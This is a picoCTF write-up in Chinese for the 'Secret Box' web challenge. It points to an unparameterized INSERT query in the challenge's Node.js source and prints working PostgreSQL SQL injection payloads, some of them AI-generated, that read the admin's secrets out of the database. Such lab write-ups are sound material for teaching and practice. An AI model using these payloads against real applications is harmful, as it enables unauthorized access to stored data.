WriteUp picoCTFWeb

Secret Box

2 個月前
2 分鐘
約 409 字

分類:Web
難度:Medium

工具H3

AI(僅為我生成 Payload)

過程H3

  1. 題目提供原始碼,複製原始碼連結後,解壓縮
bash
wget https://challenge-files.picoctf.net/c_candy_mountain/553676afdc074dca014e742ab44960e340c5e96475945ed9da8334d27881fc15/source.tar.gz
tar -xvf source.tar.gz
  1. 看了看原始碼,發現 /app/src/server.js/db/initdb.sql 很有問題,/app/src/server.js 大多數 SQL 語句都使用了參數化查詢,但唯獨在 app.post('/secrets/create'... 這一方法中沒有使用參數化查詢
js
app.post("/secrets/create", authMiddleware, async (req, res) => {
  const userId = req.userId;
  if (!userId) {
    // if user didn't login, redirect to index page
    res.clearCookie("auth_token");
    return res.redirect("/");
  }

  const content = req.body.content;
  const query = await db.raw(
    `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`,
  );

  return res.redirect("/");
});
sql
INSERT INTO users(id, username, password) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');
INSERT INTO secrets(owner_id, content) VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');
  1. 著重於 INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}') 這一行,可以發現沒有使用參數化查詢,而是直接將 content 插入,所以可以任意註冊後登入,並在 Create Secret 嘗試 SQL Injection。
  2. 由於我真的不想為 CTF 而從頭學 PostgreSQL 的 SQL 語法,所以叫 AI 嘗試給我 Payload

(這時還沒提說這是 PostgreSQL)(然後我竟然還將參數 ${userId} 二次使用還沒發現 o.O)

'), ('${userId}', (SELECT group_concat(content) FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb')) --

(PostgreSQL 沒有 group_concat,所以 AI 改用 string_agg)

'), ('${userId}', (SELECT string_agg(content, ',') FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb')) --

正解

' || (SELECT string_agg(content, ',') FROM secrets WHERE owner_id = 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb')) --

其實也不一定要是 Admin 的 Secrets,直接把整張表爆出來也可以

' || (SELECT content FROM secrets LIMIT 1)) --
' || (SELECT content FROM secrets LIMIT 1) || '

flag 就出來啦

New PointH3

連接字串H4

在 PostgreSQL 中,|| 是字串串接運算子

'Post' || 'greSQL'

結果

'PostgreSQL'

STRING_AGGH4

用於將分組中的多行字串值連接成一個由指定分隔符號分開的單一字串

STRING_AGG ( expression, separator [ ORDER BY order_by_clause ] )
tantuyu. :)